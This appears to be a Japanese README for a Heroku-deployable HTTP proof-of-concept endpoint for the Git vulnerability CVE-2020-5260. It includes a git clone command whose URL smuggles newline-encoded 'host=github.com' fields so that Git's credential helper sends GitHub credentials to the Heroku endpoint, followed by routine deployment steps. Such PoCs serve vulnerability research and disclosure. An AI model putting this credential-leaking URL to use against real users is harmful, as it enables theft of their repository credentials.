cve-2020-5260

Heroku にデプロイできる cve-2020-5260 用の HTTP PoC エンドポイント

クレジット情報

Google Project Zero の Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021

脆弱性を発動する

git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh'

PoC を Heroku にデプロイする

このボタンをクリックすると、Heroku に自動的にデプロイできます...

または、以下の手順に従ってください...

ええ、この PoC をセットアップするために Git clone コマンドを実行しなければならないという皮肉は分かっています....

Heroku CLI をインストール（https://devcenter.heroku.com/articles/heroku-cli）

まだの場合は、Heroku アカウントにログインし、プロンプトに従って新しい SSH 公開キーを作成してください。

$ heroku login

リポジトリをクローンする

Git を使用して cve-2020-5260 のソースコードをローカルマシンにクローンします。

$ mkdir cve-2020-5260
$ cd cve-2020-5260
$ git init
$ heroku apps:create cve-2020-5260
$ git clone https://github.com/brompwnie/cve-2020-5260

変更をデプロイする

クローンしたコードに変更を加え、Git を使用して Heroku にデプロイします。

$ git add .
$ git commit -am "make it better"
$ git push heroku master